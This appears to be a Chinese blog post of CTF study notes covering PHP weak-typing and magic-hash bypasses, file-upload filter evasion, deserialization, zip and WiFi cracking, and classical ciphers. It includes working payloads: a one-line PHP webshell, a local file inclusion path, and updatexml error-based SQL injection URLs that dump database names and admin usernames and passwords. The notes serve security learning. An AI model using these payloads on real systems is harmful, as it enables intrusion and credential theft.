CTF_web雜記

CTF_web

1、PHP中md5()函數無法處理數組,如果傳入的為數組,會返回NULL

2、PHP有備份文件時,一般情況下時尋找.bak文件的

3、碰撞

當兩個字符MD5加密后的值為0exxxx形式,就會被認為是科學計數法,且表示為0*10的x次方

下面的字符串是MD5值都是0e開頭的:

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s1091221200a

s1502113478a

md5碰撞

PHP在處理哈希字符串時,會利用”!=”或”==”來對哈希值進行比較,它把每一個以”0E”開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以后,其哈希值都是以”0E”開頭的,那么PHP將會認為他們相同,都是0。

攻擊者可以利用這一漏洞,通過輸入一個經過哈希后以”0E”開頭的字符串,即會被PHP解釋為0,如果數據庫中存在這種哈希值以”0E”開頭的密碼的話,他就可以以這個用戶的身份登錄進去,盡管并沒有真正的密碼。

sha1碰撞

uname[]=1

passwd[]=2

4、php偽協議

https://www.freebuf.com/column/148886.html

php://input可以讀取沒有處理過的POST數據。

file=php://filter/read=convert.base64-encode/resource=

5、在url中向目標發送數據,可以使用php://input,加上post數據

6、https://blog.csdn.net/qq_41420747/article/details/82193325

assert --> php代碼函數執行漏洞

assert(print_r(scandir('./')))? -->?打印當前目錄下的文件

7、sql約束攻擊

https://blog.csdn.net/sinat_41380394/article/details/81913801

現在講一下sql約束攻擊的條件:

1.mysql處于ANSI模式。如果是TRADITIONAL模式或者STRICT_TRANS_TABLES模式會報錯data too long for column。

2.服務端沒有對用戶名長度進行限制。如果服務端限制了用戶名長度就自然就不客能導致數據庫截斷,也就沒有利用條件。

3.登陸驗證的SQL語句必須是用戶名和密碼一起驗證。如果是驗證流程是先根據用戶名查找出對應的密碼然后再比對密碼,當使用vampire為用戶名來查詢密碼的話,數據庫此時就會返回兩條記錄,而一般取第一條即目標用戶的記錄,那么傳輸的密碼肯定和目標用戶密碼匹配不上的。

4.驗證成功后返回的必須是用戶傳遞進來的用戶名,而不是從數據庫取出的用戶名。因為當我們以用戶vampire和密碼random_pass登陸時,其實數據庫返回的是我們自己的用戶信息,而我們的用戶名其實是vampire+若干個空格,如果此后的業務邏輯以該用戶名為準,那么就不能達到越權的目的了。

8、User-Agent的作用

User Agent中文名為用戶代理,簡稱 UA,它是一個特殊字符串頭,使得服務器能夠識別客戶使用的操作系統及版本、CPU 類型、瀏覽器及版本、瀏覽器渲染引擎、瀏覽器語言、瀏覽器插件等

9、referer作用

HTTP Referer是header的一部分,當瀏覽器向web服務器發送請求的時候,一般會帶上Referer,告訴服務器我是從哪個頁面鏈接過來的,服務器基此可以獲得一些信息用于處理。

谷歌的referer:https://www.google.com

10、本地訪問

偽造ip

X-Forwarded-For:127.0.0.1

11、上傳文件過濾

1)請求頭部的Content-Type

大小寫繞過

2)文件后綴

黑名單來判斷文件后綴

php3,php4,phtml,phtm,pht,phps,php5(包括一些字母改變大小寫)

phpstudy和wamp以及centos用yum方式安裝的lamp環境不能解析phtml和pht

3)請求數據的Content-Type

4)做題經驗

將文件名改為:.php;.jpg

12、域名解析

修改本地hosts文件,將域名與ip地址綁定

hosts文件位置:c:\windows\system32\drivers\etc

13、正則表達式

https://www.jb51.net/tools/regexsc.htm

14、PHP語法中危險函數

CTF之PHP黑魔法總結http://www.10tiao.com/html/664/201702/2650420346/1.html

eval()? -->? 允許執行()內任意PHP代碼

eregi()? -->? 截斷漏洞

ereg() 函數或 eregi() 函數存在空字符截斷漏洞,即參數中的正則表達式或待匹配字符串遇到空字符則截斷丟棄后面的數據。

strcmp()? -->? 利用數組繞過

strcmp()繞過:http://www.lxweimin.com/p/63f07a904f4a

int strcmp ( string $str1 , string $str2 )

Return Values

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

當輸入的兩個值為不是字符串時就會產生不預期的返回值:

比如

這樣一段代碼中,輸入password[]=1則返回success,成功繞過驗證

15、PHP文件上傳繞過

https://blog.csdn.net/iamsongyu/article/details/83033000

1)前端JS驗證

基于本地驗證文件是否符合要求:直接將JavaScript禁用。或者burp抓包后修改后綴,將php文件后綴現先改為jpg,burp抓包后后綴改回php。

2)MIME類型驗證

burp抓包修改Content-type類型為相應的格式,eg:image/jpeg? image/png

3)黑名單驗證

①?尋找沒有過濾的類型

phtml php3 php4 php5 PHP phtm

例如phtml php3 php4 php5 PHP phtm這些后綴名首先得讓服務器支持這些解析為php腳本運行,httpd.conf配置文件中可以查看設置。

②?大小寫繞過

eg:phP

③ 文件名修改

將文件名改為:.php;.jpg

4)00截斷

注意:較低版本的php會出現這個漏洞

5)雙寫繞過

如果對文件的內容例如<?php用str_replace()使其變為空,就可以構造特殊的內容例如<?p<?phphp,過濾后就變為了<?php,達到了繞過的目的

6)一句話

<script language=php>system("ls")</script>? -->? 列出該文件夾下的目錄內容

16、CTF中的PHP反序列化

https://www.freebuf.com/column/151447.html

序列化后對象的格式:

引用上述示例代碼中的輸出結果

output:

O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}

a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;}

對象類型:對象名長度:“對象名”:對象成員變量個數:{變量1類型:變量名1長度:變量名1; 參數1類型:參數1長度:參數1; 變量2類型:變量名2長度:“變量名2”; 參數2類型:參數2長度:參數2;… …}

對象類型:Class:用O表示,Array:用a表示。

變量和參數類型:string:用s表示,Int:用i表示,Array:用a表示。

序列符號:參數與變量之間用分號(;)隔開,同一變量和同一參數之間的數據用冒號(:)隔開。

反序列化漏洞中常見的一些魔術方法

__construct():在對象創建時自動被調用;一個類中只能聲明一個構造方法;

?__destruct():在腳本運行結束時自動被調用;

__sleep():在對象序列化的時候自動被調用;在一個類的實例被序列化了的時候調用

__wakeup():在反序列化為對象時自動被調用;

__toString(): 直接輸出對象引用時自動被調用;必須返回一個字符串;

注意:

__sleep()必須返回一個數組或者對象,而一般返回的是當前對象$this。返回的值將會被用來做序列化的值。如果不返回這個值,自然表示序列化失敗。同時也會連累到反序列化時不會調用__wakeup()方法.

__wakeup()執行漏洞:一個字符串或對象被序列化后,如果其屬性被修改,則不會執行__wakeup()函數,這也是一個繞過點。

17、linux命令坑

在Unix中 , 會生成一個 .bash_history 的文件 , 記錄了用戶的操作歷史

mount? -->? 文件掛載

mount? 文件路徑? ?被掛載路徑

-o ro? -->只讀模式

base64?

-d? 解碼

-i? 忽略非字母表字符

dd? ?-->? 用戶讀取、轉換并輸出數據

可從標準輸入或文件中讀取數據,根據指定的格式來轉換數據,在輸出到文件、設備或標準輸出

if=文件名:?輸入文件名。即指定源文件

of=文件名:?輸出文件名。即指定目的文件

ibs=bytes:一次讀入bytes個字節,即指定一個塊大小為bytes個字節。

obs=bytes:一次輸出bytes個字節,即指定一個塊大小為bytes個字節。

bs=bytes:同時設置讀入/輸出的塊大小為bytes個字節。

cbs=bytes:一次轉換bytes個字節,即指定轉換緩沖區大小。

skip=blocks:從輸入文件開頭跳過blocks個塊后再開始復制。

seek=blocks:從輸出文件開頭跳過blocks個塊后再開始復制。

count=blocks:僅拷貝blocks個塊,塊大小等于ibs指定的字節數。

windows或linux下:?command1 && command2 先執行command1后執行command2 command1 | command2 只執行command2 command1 & command2 先執行command2后執行command1

18、做題時使用到的python庫

1)?collections

19、SQL注入

延遲注入:

https://www.cnblogs.com/backlion/p/9721693.html

函數:

sleep()? -->? 延遲函數

if(condition, ture, false)? -->? 條件語句

ascii()? ?-->? 轉換成ascii碼

substring("string", start, legth)? -->? 提取

20、

1. hr函數在轉換的時候會自動將字符串的ascii值取模256,所以只需要將原來的ascii值加256就能繞過$value[$i] > 32 && $value[$i] < 127

2. intval()函數在進行16進制轉換的時候存在問題,強制轉換時正常,也就是說將password傳入的值改為16進制就可以了

21、本地文件包含

eg:?page=../../../etc/

22、調試參數?debug

通常在調試時使用? eg:index.php?debug

23、sqlite系統表

sqlite_master

24、利用GBK雙字節編碼突破PHP單引號轉義限制進行SQL注入(sql寬字節注入)

總結:https://blog.csdn.net/u011721501/article/details/23483321

眾所周知addslashes函數產生的效果就是,讓’變成\’,讓引號變得不再是“單引號”,只是一撇而已

25、代碼審計|變量覆蓋漏洞

總結:https://www.cnblogs.com/sqyysec/p/6926095.html(不全)

常見的變量覆蓋漏洞函數:

extract()

parse_str()

import_request_variables()

26、strcmp函數漏洞

構造數組繞過

27、updatexml()函數報錯注入

爆數據庫版本信息

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

鏈接用戶

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

鏈接數據庫

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

爆庫:

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆表:

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段:

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段內容:

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

28、題目給出hint

1)? 在登錄窗口

①? 用戶名密碼輸入hint

②? 在GET參數中傳入hint=1

29、php函數繞過

chr()函數:

chr函數是值除以256取余數

intval函數:

用科學計數法繞過

30、php存在漏洞的函數

類型:變量覆蓋漏洞? ? -->? ? php變量覆蓋漏洞總結:https://www.0dayhack.com/post-411.html

函數:

extract()

parse_url()

parse_str()

CTF_misc

總結:

https://blog.csdn.net/xuchen16/article/details/82969608

1、pdf的文件結構

文件的第一行是文件頭,指明了該文件所遵從的PDF規范的版本號

一個對象的第一行一般有兩個數字和關鍵字“obj

第一個數字稱為對象號,來唯一標識一個對象的,第二個是產生號,是用來表明它在被創建后的第幾次修改,所有新創建的PDF文件的對象號應該都是0,即第一次被創建以后沒有被修改過。上面的例子就說明該對象的對象號是3,而且創建后沒有被修改過。

對象的內容應該是包含在<<和>>之間的,最后以關鍵字endobj結束.

2、kali中有pdfinfo工具查看pdf信息;pdftotext?轉換為txt文件

3、pdf.js插件可以實現在html下直接瀏覽pdf文檔,是一款開源的pdf文檔讀取解析插件

4、js中textContent 與 innerText、innerHTML 的區別

http://www.lxweimin.com/p/7fde1924919b

5、strings使用方法

strings命令在對象文件或二進制文件中查找可打印的字符串。字符串是4個或更多可打印字符的任意序列,以換行符或空字符結束。 strings命令對識別隨機對象文件很有用。

選項:

-a --all:掃描整個文件而不是只掃描目標文件初始化和裝載段

-f –print-file-name:在顯示字符串前先顯示文件名

-t --radix={o,d,x} :輸出字符的位置,基于八進制,十進制或者十六進制

-e --encoding={s,S,b,l,B,L} :選擇字符大小和排列順序:s = 7-bit, S = 8-bit, {b,l} = 16-bit, {B,L} = 32-bit

6、outguss隱寫

用法: outguess -r xx.jpg out (kali工具)

7、git泄露

使用githack工具dump源碼

分析源碼,進行破解

做題遇到的知識點:

php弱類型比較

1、==和===

==為弱相等,也就是說12=="12" --> true,而且12=="12cdf" --> true,只取字符串中開頭的整數部分,但是1e3dgf這樣的字符串在比較時,取的是符合科學計數法的部分:1e3,也就是1000.

而且bool類型的true和任意字符串的弱類型相等

===為完全相等,數據類型和值都相等時返回true。

這里是php手冊上全面的說明:https://secure.php.net/manual/zh/types.comparisons.php

2、大小比較

字符串比較相必都很清楚,就是比較的ASCII碼,比"aa">"ab"。

字符串和整數的比較呢?

規則和==的比較是一樣的,也就是說,取字符串中開頭的整數部分,不過符合科學計數法時要按照科學計數法來取。

如果字符串第一個字母,包括e,就取成0。也就是說"ab"-->0,"e1be"-->0。

8、U2Fsd頭,一般為AES加鹽

9、NTFS的數據流隱寫

作用:NTFS分區的數據流是一個子文件系統允許額外的數據連接到一個特別的文件中,用來維持與宿主文件相關的信息

https://blog.csdn.net/alone_map/article/details/51851071

具體實例:bugku_貓片

10、ZIP文件加密破解

判斷偽加密

zip暴力破解

使用Ziperello進行字典猜解,或暴力破解

明文攻擊

使用ARCHPR進行明文攻擊,明文和密文需要為同一格式文件

11、kali繪圖工具gnuplot的使用

https://blog.csdn.net/chengde6896383/article/details/83895806

進入gnuplot之后鍵入:plot "new1.txt"

12、wifi連接認證的重點在WPA的四次握手包,也就是eapol協議的包

破解wifi密碼,使用kali工具中的aircrack

命令:aircrack-ng?-w?字典文件?抓的包

13、LSB(最低有效位)隱寫

https://segmentfault.com/a/1190000016223897

CTF_Crypto

1、brainfuc編碼

解密:https://tool.bugku.com/brainfuck/

+++++ +++++ [->++ +++++ +++<] >++.+ +++++ .<+++ [->-- -<]>- -.+++ +++.<

++++[ ->+++ +<]>+ +++.< +++[- >---< ]>--- .---- .<+++ ++++[ ->--- ----<

]>--- ----- ----- .<+++ ++++[ ->+++ ++++< ]>+++ ++.<+ +++++ +[->- -----

-<]>. <++++ ++++[ ->+++ +++++ <]>++ .<+++ [->-- -<]>- ----. <++++ +++[-

>---- ---<] >---- ----. +++++ +..++ +++.+ .<+++ [->-- -<]>- --.<+ +++++

+[->+ +++++ +<]>+ ++.++ +.+++ +++++ +.--- -.+++ ++.<+ ++[-> +++<] >++++

++.<

2、mrose電碼加密

特點:?由0和1組成,且每組的01長度可能不等

解密:https://github.com/houhuiting/bugku-python/blob/master/binary%20morse_to_ascii.py

3、培根密碼:ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA

特點:由AB組成

解密:http://rumkin.com/tools/cipher/baconian.php

4、AES加解密

特點:密文中存在大小寫和+或=,解密需要密碼

解密:http://tool.oschina.net/encrypt/

5、unicode 編碼

特點:

&#x [Hex]: &#x0054;&#x0068;&#x0065;

&# [Decimal]: &#00084;&#00104;&#00101;

\U [Hex]: \U0054\U0068\U0065

\U+ [Hex]: \U+0054\U+0068\U+0065

解碼:http://www.mxcz.net/tools/Unicode.aspx

6、ROT13(凱撒十三世)

特點:

解密:https://www.qqxiuzi.cn/bianma/ROT5-13-18-47.php

CTF_pwn

必看文章:

http://blog.nsfocus.net/ctf-class-part-1/

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。